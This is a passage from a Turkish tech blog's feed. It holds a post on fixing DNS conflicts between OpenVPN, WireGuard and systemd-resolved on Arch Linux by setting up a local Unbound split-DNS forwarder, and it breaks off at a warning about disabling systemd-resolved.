&lt;h3 id="laboratuvardan-diger-notlar"&gt;🔗 Laboratuvardan Di&amp;gbreve;er Notlar&lt;a class="headerlink" href="#laboratuvardan-diger-notlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Linux'ta oyun mevzusu tek yaz&amp;inodot;yla kapanmaz. Sistemi kurcalarken i&amp;scedil;ine yarayacak di&amp;gbreve;er tecr&amp;uuml;belerim de &amp;scedil;urada:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/mangohud-ile-oyun-performansi-izleme/"&gt;MangoHud ile Oyun Performans&amp;inodot; &amp;Idot;zleme&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/linux-gpu-driver-rehberi/"&gt;Linux GPU S&amp;uuml;r&amp;uuml;c&amp;uuml; Rehberi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/steam-debian-oyun-acilmiyor-wrong-elf-class-libgamemodeauto-hatasi-cozumu/"&gt;Steam "Wrong ELF Class" Hatas&amp;inodot; ve &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/linux-oyunlara-turkce-yama-kurulumu/"&gt;Linux'ta Oyunlara T&amp;uuml;rk&amp;ccedil;e Yama Kurulumu&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Bu taklit i&amp;scedil;lemi VKD3D (Vulkan tabanl&amp;inodot; D3D12 implementasyonu) &amp;uuml;zerinden yap&amp;inodot;l&amp;inodot;yor. &lt;code&gt;VKD3D_FEATURE_LEVEL=12_1&lt;/code&gt; komutu tam olarak bu i&amp;scedil;e yar&amp;inodot;yor.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Oyun"/><category term="forza horizon 6"/><category term="linux gaming"/><category term="steamos"/><category term="amd rx 480"/><category term="proton"/><category term="vkd3d"/><category term="hata çözümü"/></entry><entry><title>Arch Linux'ta DNS Gizemi: VPN, systemd-resolved ve Unbound</title><link href="https://yuceltoluyag.github.io/arch-linux-dns-vpn-systemd-resolved-unbound/" rel="alternate"/><published>2026-05-24T07:50:00+03:00</published><updated>2026-05-24T20:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-24:/arch-linux-dns-vpn-systemd-resolved-unbound/</id><summary type="html">&lt;p&gt;Arch Linux üzerinde birden fazla VPN aktifken yaşanan DNS çakışmalarını, systemd-resolved'un garip önbellekleme mantığını ve local Unbound ile split-DNS kurulumunu çözüyoruz.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Bo&amp;scedil; zamanlar&amp;inodot;mda kendi sistemlerimi kurcalamay&amp;inodot;, yerel sunucumda (homelab) bir &amp;scedil;eyler in&amp;scedil;a edip yeni teknolojiler denemeyi acayip seviyorum. Ge&amp;ccedil;en ak&amp;scedil;am yine evde kendi lab ortam&amp;inodot;mda yeni bir yap&amp;inodot;land&amp;inodot;rma &amp;uuml;zerinde &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;rken, AWS EKS (Elastic Kubernetes Service) k&amp;uuml;mesindeki pod durumlar&amp;inodot;n&amp;inodot; kontrol etmek i&amp;ccedil;in terminali a&amp;ccedil;t&amp;inodot;m. Rutin bir &amp;scedil;ekilde &lt;code&gt;kubectl get pod&lt;/code&gt; komutunu yap&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;m. Bekliyorum... Bekliyorum... Ve bam:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;kk&lt;span class="w"&gt; &lt;/span&gt;get&lt;span class="w"&gt; &lt;/span&gt;pod
&lt;span class="o"&gt;[&lt;/span&gt;...&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Get&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://F07***D78.gr7.us-east-1.eks.amazonaws.com/api?timeout=32s"&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;dial&lt;span class="w"&gt; &lt;/span&gt;tcp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.0.64.9:443:&lt;span class="w"&gt; &lt;/span&gt;i/o&lt;span class="w"&gt; &lt;/span&gt;timeout
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;"Ulan yine neyi bozdum?" diyerek komutu tekrar &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;m. Bu sefer sorunsuz bir &amp;scedil;ekilde pod listesi d&amp;ouml;k&amp;uuml;ld&amp;uuml;. &amp;Uuml;&amp;ccedil;&amp;uuml;nc&amp;uuml; kez &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;m, yine timeout! Resmen terminal benimle yaz&amp;inodot;-tura oynuyordu. &lt;/p&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;in i&amp;ccedil;inde hem ev internetim, hem AWS kaynaklar&amp;inodot;na eri&amp;scedil;mek i&amp;ccedil;in kurdu&amp;gbreve;um OpenVPN ba&amp;gbreve;lant&amp;inodot;s&amp;inodot;, hem de evdeki di&amp;gbreve;er sunucular&amp;inodot;ma ba&amp;gbreve;lanmak i&amp;ccedil;in kulland&amp;inodot;&amp;gbreve;&amp;inodot;m kendi WireGuard t&amp;uuml;nelim olunca, klasik bir Arch Linux kullan&amp;inodot;c&amp;inodot;s&amp;inodot; paranoyas&amp;inodot;yla kollar&amp;inodot; s&amp;inodot;vay&amp;inodot;p DNS ve IP rotalar&amp;inodot; (routing) labirentine dalmaya karar verdim.&lt;/p&gt;
&lt;p&gt;Daha &amp;ouml;nce yazd&amp;inodot;&amp;gbreve;&amp;inodot;m &lt;a href="/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/"&gt;AWS EC2'de OpenVPN Nas&amp;inodot;l Kurulur ve DNS Leak Nas&amp;inodot;l D&amp;uuml;zeltilir&lt;/a&gt; makalesinde VPN &amp;uuml;zerindeki DNS s&amp;inodot;z&amp;inodot;nt&amp;inodot;lar&amp;inodot;n&amp;inodot; ve temel y&amp;ouml;nlendirmeleri incelemi&amp;scedil;tik. Bu sefer sorun &amp;ccedil;ok daha karma&amp;scedil;&amp;inodot;k bir DNS yar&amp;inodot;&amp;scedil;mas&amp;inodot; ve rota d&amp;uuml;&amp;gbreve;&amp;uuml;m&amp;uuml;nden ibaret.&lt;/p&gt;
&lt;h2 id="aws-vpc-dns-ve-vpn-trafigi-caksmas"&gt;AWS VPC DNS ve VPN Trafi&amp;gbreve;i &amp;Ccedil;ak&amp;inodot;&amp;scedil;mas&amp;inodot;&lt;a class="headerlink" href="#aws-vpc-dns-ve-vpn-trafigi-caksmas" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Benim senaryomda AWS EKS hem Public hem de Private endpoint'lere sahip. Dolay&amp;inodot;s&amp;inodot;yla DNS taraf&amp;inodot;nda &lt;a href="https://en.wikipedia.org/wiki/Split-horizon_DNS" rel="noopener noreferrer" target="_blank"&gt;Split-Horizon DNS&lt;/a&gt; mekanizmas&amp;inodot; devrede:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;E&amp;gbreve;er d&amp;inodot;&amp;scedil; a&amp;gbreve;dan (yani genel internetten) sorgu atarsak, AWS bize EKS'nin &lt;strong&gt;public IP&lt;/strong&gt; adresini d&amp;ouml;ner.&lt;/li&gt;
&lt;li&gt;E&amp;gbreve;er AWS VPC i&amp;ccedil;erisinden (veya VPN &amp;uuml;zerinden) sorgu atarsak, bize VPC i&amp;ccedil;indeki &lt;strong&gt;private IP&lt;/strong&gt; adresini (&amp;Ouml;rn: &lt;code&gt;10.0.64.9&lt;/code&gt;) d&amp;ouml;ner.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sistemimde ayn&amp;inodot; anda birden fazla DNS sunucusu tan&amp;inodot;ml&amp;inodot;yd&amp;inodot; ve &lt;code&gt;/etc/resolv.conf&lt;/code&gt; i&amp;ccedil;eri&amp;gbreve;i yakla&amp;scedil;&amp;inodot;k olarak &amp;scedil;&amp;ouml;yle g&amp;ouml;r&amp;uuml;n&amp;uuml;yordu:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;nameserver 1.1.1.1      # Cloudflare (EKS i&amp;ccedil;in Public IP d&amp;ouml;ner)
nameserver 10.100.0.1   # Evdeki MikroTik (EKS i&amp;ccedil;in Public IP d&amp;ouml;ner)
nameserver 10.0.0.2     # AWS VPC DNS - OpenVPN &amp;uuml;zerinden (EKS i&amp;ccedil;in Private IP d&amp;ouml;ner)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sistemde DNS &amp;ccedil;&amp;ouml;z&amp;uuml;mlemesinin kimde oldu&amp;gbreve;unu anlamak i&amp;ccedil;in &lt;code&gt;/etc/nsswitch.conf&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; inceledi&amp;gbreve;imizde hosts sat&amp;inodot;r&amp;inodot; &amp;scedil;u &amp;scedil;ekildeydi:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mymachines&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;resolve&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[!&lt;/span&gt;&lt;span class="n"&gt;UNAVAIL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;myhostname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dns&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Buradaki &lt;code&gt;resolve&lt;/code&gt; parametresi, sistemin klasik glibc DNS &amp;ccedil;&amp;ouml;z&amp;uuml;c&amp;uuml;s&amp;uuml; yerine D-Bus &amp;uuml;zerinden &lt;code&gt;systemd-resolved&lt;/code&gt;&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; servisini kulland&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; g&amp;ouml;sterir.&lt;/p&gt;
&lt;h2 id="systemd-resolvedun-at-yars-cozumleme-mantg"&gt;systemd-resolved'un "At Yar&amp;inodot;&amp;scedil;&amp;inodot;" &amp;Ccedil;&amp;ouml;z&amp;uuml;mleme Mant&amp;inodot;&amp;gbreve;&amp;inodot;&lt;a class="headerlink" href="#systemd-resolvedun-at-yars-cozumleme-mantg" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Gelelim &lt;code&gt;systemd-resolved&lt;/code&gt;'un DNS sorgular&amp;inodot;n&amp;inodot; nas&amp;inodot;l ele ald&amp;inodot;&amp;gbreve;&amp;inodot;na. Durumu daha net g&amp;ouml;rebilmek i&amp;ccedil;in &lt;code&gt;systemd-resolved&lt;/code&gt; debug loglar&amp;inodot;n&amp;inodot; a&amp;ccedil;al&amp;inodot;m:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;resolvectl&lt;span class="w"&gt; &lt;/span&gt;log-level&lt;span class="w"&gt; &lt;/span&gt;debug
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ard&amp;inodot;ndan loglar&amp;inodot; izlemeye al&amp;inodot;p &lt;code&gt;kubectl&lt;/code&gt; sorgusunu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;zda kar&amp;scedil;&amp;inodot;m&amp;inodot;za &amp;ccedil;&amp;inodot;kan manzara &amp;scedil;uydu:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;varlink&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Received&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"method"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"io.systemd.Resolve.ResolveHostname"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"parameters"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"F07***D78.gr7.us-east-1.eks.amazonaws.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"flags"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"ifindex"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;systemd-resolved&lt;/code&gt;, elindeki t&amp;uuml;m aktif a&amp;gbreve; aray&amp;uuml;zlerine (ev a&amp;gbreve;&amp;inodot;m, OpenVPN t&amp;uuml;neli &lt;code&gt;tun0&lt;/code&gt;, WireGuard t&amp;uuml;neli &lt;code&gt;wg0&lt;/code&gt;) &lt;strong&gt;ayn&amp;inodot; anda&lt;/strong&gt; DNS sorgusu g&amp;ouml;nderiyor!&lt;/p&gt;
&lt;p&gt;Hac&amp;inodot; bura &amp;ccedil;ok kritik: &lt;code&gt;systemd-resolved&lt;/code&gt; resmen arkada DNS sunucular&amp;inodot;n&amp;inodot; yar&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;yor. Hangi aray&amp;uuml;zdeki DNS sunucusu ilk &amp;ouml;nce cevap verirse, o cevab&amp;inodot; kabul edip &amp;ouml;nbelle&amp;gbreve;e (cache) al&amp;inodot;yor.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;E&amp;gbreve;er yar&amp;inodot;&amp;scedil;&amp;inodot; kendi ev internetim (&lt;code&gt;wlan0&lt;/code&gt; / &lt;code&gt;1.1.1.1&lt;/code&gt;) kazan&amp;inodot;rsa, bize EKS'nin &lt;strong&gt;public IP&lt;/strong&gt; adresi d&amp;ouml;n&amp;uuml;yor ve ba&amp;gbreve;lant&amp;inodot; sorunsuz kuruluyor.&lt;/li&gt;
&lt;li&gt;E&amp;gbreve;er yar&amp;inodot;&amp;scedil;&amp;inodot; OpenVPN t&amp;uuml;neli (&lt;code&gt;tun0&lt;/code&gt; / &lt;code&gt;10.0.0.2&lt;/code&gt;) kazan&amp;inodot;rsa, bize EKS'nin &lt;strong&gt;private IP&lt;/strong&gt; adresi (&lt;code&gt;10.0.64.9&lt;/code&gt;) d&amp;ouml;ner.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Peki private IP d&amp;ouml;n&amp;uuml;nce neden timeout al&amp;inodot;yoruz? &amp;Ccedil;&amp;uuml;nk&amp;uuml; rotalar&amp;inodot;m&amp;inodot;z&amp;inodot; (routing table) kontrol etti&amp;gbreve;imizde, &lt;code&gt;10.0.64.9&lt;/code&gt; IP adresi i&amp;ccedil;in VPN t&amp;uuml;neline (&lt;code&gt;tun0&lt;/code&gt;) y&amp;ouml;nlendirilmi&amp;scedil; &amp;ouml;zel bir rota tan&amp;inodot;ml&amp;inodot; de&amp;gbreve;il. Dolay&amp;inodot;s&amp;inodot;yla sistem bu private IP'ye gitmek i&amp;ccedil;in varsay&amp;inodot;lan a&amp;gbreve; ge&amp;ccedil;idini (evdeki router'&amp;inodot;m) kullanmaya &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor ve paketlerimiz normal internete &amp;ccedil;&amp;inodot;k&amp;inodot;p kayboluyor.&lt;/p&gt;
&lt;p&gt;Log seviyesini tekrar normale d&amp;ouml;nd&amp;uuml;relim:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;resolvectl&lt;span class="w"&gt; &lt;/span&gt;log-level&lt;span class="w"&gt; &lt;/span&gt;info
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="cozum-yollar"&gt;&amp;Ccedil;&amp;ouml;z&amp;uuml;m Yollar&amp;inodot;&lt;a class="headerlink" href="#cozum-yollar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bu sorunu &amp;ccedil;&amp;ouml;zmek i&amp;ccedil;in &amp;ouml;n&amp;uuml;m&amp;uuml;zde birka&amp;ccedil; se&amp;ccedil;enek var:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Rota Ekleme (Ge&amp;ccedil;ici &amp;Ccedil;&amp;ouml;z&amp;uuml;m):&lt;/strong&gt; EKS &amp;ouml;zel IP bloklar&amp;inodot;n&amp;inodot; OpenVPN rotalar&amp;inodot;na manuel olarak eklemek. (Sadece o IP i&amp;ccedil;in ge&amp;ccedil;ici &amp;ccedil;&amp;ouml;z&amp;uuml;md&amp;uuml;r, split-DNS sa&amp;gbreve;lamaz.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;systemd-resolved ile Split-DNS:&lt;/strong&gt; &lt;code&gt;systemd-resolved&lt;/code&gt; &amp;uuml;zerinde karma&amp;scedil;&amp;inodot;k aray&amp;uuml;z bazl&amp;inodot; alan ad&amp;inodot; kurallar&amp;inodot; yazmak. (Olduk&amp;ccedil;a zahmetli ve karars&amp;inodot;zd&amp;inodot;r.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Local Unbound Kurulumu (Kal&amp;inodot;c&amp;inodot; ve Kararl&amp;inodot; &amp;Ccedil;&amp;ouml;z&amp;uuml;m):&lt;/strong&gt; &lt;code&gt;systemd-resolved&lt;/code&gt; servisini tamamen emekli edip, sorgular&amp;inodot; alan adlar&amp;inodot;na g&amp;ouml;re do&amp;gbreve;ru DNS sunucular&amp;inodot;na da&amp;gbreve;&amp;inodot;tacak bir local Unbound DNS sunucusu kurmak.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Biz en temiz ve kararl&amp;inodot; yol olan &lt;strong&gt;Unbound&lt;/strong&gt; kurulumunu se&amp;ccedil;ece&amp;gbreve;iz. Daha &amp;ouml;nce benzer bir port &amp;ccedil;ak&amp;inodot;&amp;scedil;mas&amp;inodot;n&amp;inodot; &lt;a href="/arch-linux-dnsmasq-dnscrypt-proxy/"&gt;Arch Linux'ta dnsmasq ve dnscrypt-proxy Kurulum Rehberi&lt;/a&gt; yaz&amp;inodot;mda &lt;code&gt;dnsmasq&lt;/code&gt; ile &amp;ccedil;&amp;ouml;zm&amp;uuml;&amp;scedil;t&amp;uuml;k. Bu sefer i&amp;scedil;in i&amp;ccedil;ine VPN DNS'leri de girdi&amp;gbreve;i i&amp;ccedil;in Unbound ile split-DNS yapaca&amp;gbreve;&amp;inodot;z.&lt;/p&gt;
&lt;h2 id="arch-linux-uzerinde-unbound-kurulumu-ve-yaplandrmas"&gt;Arch Linux &amp;Uuml;zerinde Unbound Kurulumu ve Yap&amp;inodot;land&amp;inodot;rmas&amp;inodot;&lt;a class="headerlink" href="#arch-linux-uzerinde-unbound-kurulumu-ve-yaplandrmas" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Ouml;ncelikle gerekli paketi kural&amp;inodot;m:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;unbound
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Hedefimiz &amp;scedil;u y&amp;ouml;nlendirme kurallar&amp;inodot;n&amp;inodot; tan&amp;inodot;mlamak:
*   &lt;code&gt;compute.internal&lt;/code&gt; ve &lt;code&gt;ops.example.com&lt;/code&gt; (AWS i&amp;ccedil; a&amp;gbreve; alan adlar&amp;inodot;) sorgular&amp;inodot; OpenVPN t&amp;uuml;nelindeki AWS VPC DNS sunucusuna (&lt;code&gt;10.0.0.2&lt;/code&gt;) gitsin.
*   &lt;code&gt;setevoy&lt;/code&gt; (kendi homelab a&amp;gbreve;&amp;inodot;m) sorgular&amp;inodot; WireGuard t&amp;uuml;nelindeki MikroTik DNS sunucusuna (&lt;code&gt;10.100.0.1&lt;/code&gt;) gitsin.
*   Geri kalan t&amp;uuml;m genel internet sorgular&amp;inodot; ise Cloudflare (&lt;code&gt;1.1.1.1&lt;/code&gt;) ve Google (&lt;code&gt;8.8.8.8&lt;/code&gt;) sunucular&amp;inodot;na y&amp;ouml;nlendirilsin.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/unbound/unbound.conf&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; &amp;scedil;u &amp;scedil;ekilde d&amp;uuml;zenliyoruz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;server&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;interface&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;127.0.0.1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;access-control&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;127.0.0.0/8 allow&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;do-ip6&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;no&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;hide-identity&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;yes&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;hide-version&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;yes&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;prefetch&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;yes&lt;/span&gt;

&lt;span class="c1"&gt;# Kendi homelab a&amp;gbreve;&amp;inodot;m (WireGuard / MikroTik)&lt;/span&gt;
&lt;span class="na"&gt;forward-zone&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"setevoy."&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;forward-addr&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10.100.0.1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;forward-addr&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;192.168.0.1&lt;/span&gt;

&lt;span class="c1"&gt;# AWS Dahili Kaynaklar&amp;inodot;&lt;/span&gt;
&lt;span class="na"&gt;forward-zone&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"compute.internal."&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;forward-addr&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10.0.0.2&lt;/span&gt;

&lt;span class="na"&gt;forward-zone&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"ops.example.com."&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;forward-addr&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10.0.0.2&lt;/span&gt;

&lt;span class="c1"&gt;# Genel &amp;Idot;nternet Sorgular&amp;inodot;&lt;/span&gt;
&lt;span class="na"&gt;forward-zone&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"."&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;forward-addr&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;1.1.1.1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;forward-addr&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;8.8.8.8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Konfig&amp;uuml;rasyonda yaz&amp;inodot;m hatas&amp;inodot; olup olmad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; kontrol edelim:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;unbound-checkconf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;unbound-checkconf: no errors in /etc/unbound/unbound.conf&lt;/code&gt; &amp;ccedil;&amp;inodot;kt&amp;inodot;s&amp;inodot;n&amp;inodot; g&amp;ouml;rd&amp;uuml;ysek yolumuz a&amp;ccedil;&amp;inodot;k demektir.&lt;/p&gt;
&lt;h2 id="systemd-resolved-servisini-devre-ds-brakmak"&gt;systemd-resolved Servisini Devre D&amp;inodot;&amp;scedil;&amp;inodot; B&amp;inodot;rakmak&lt;a class="headerlink" href="#systemd-resolved-servisini-devre-ds-brakmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Unbound'un port 53'&amp;uuml; sorunsuz dinleyebilmesi i&amp;ccedil;in &lt;code&gt;systemd-resolved&lt;/code&gt; servisini tamamen kapatmam&amp;inodot;z gerekiyor.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! 🚨 Sadece 'disable' yetmiyor!&lt;/p&gt;
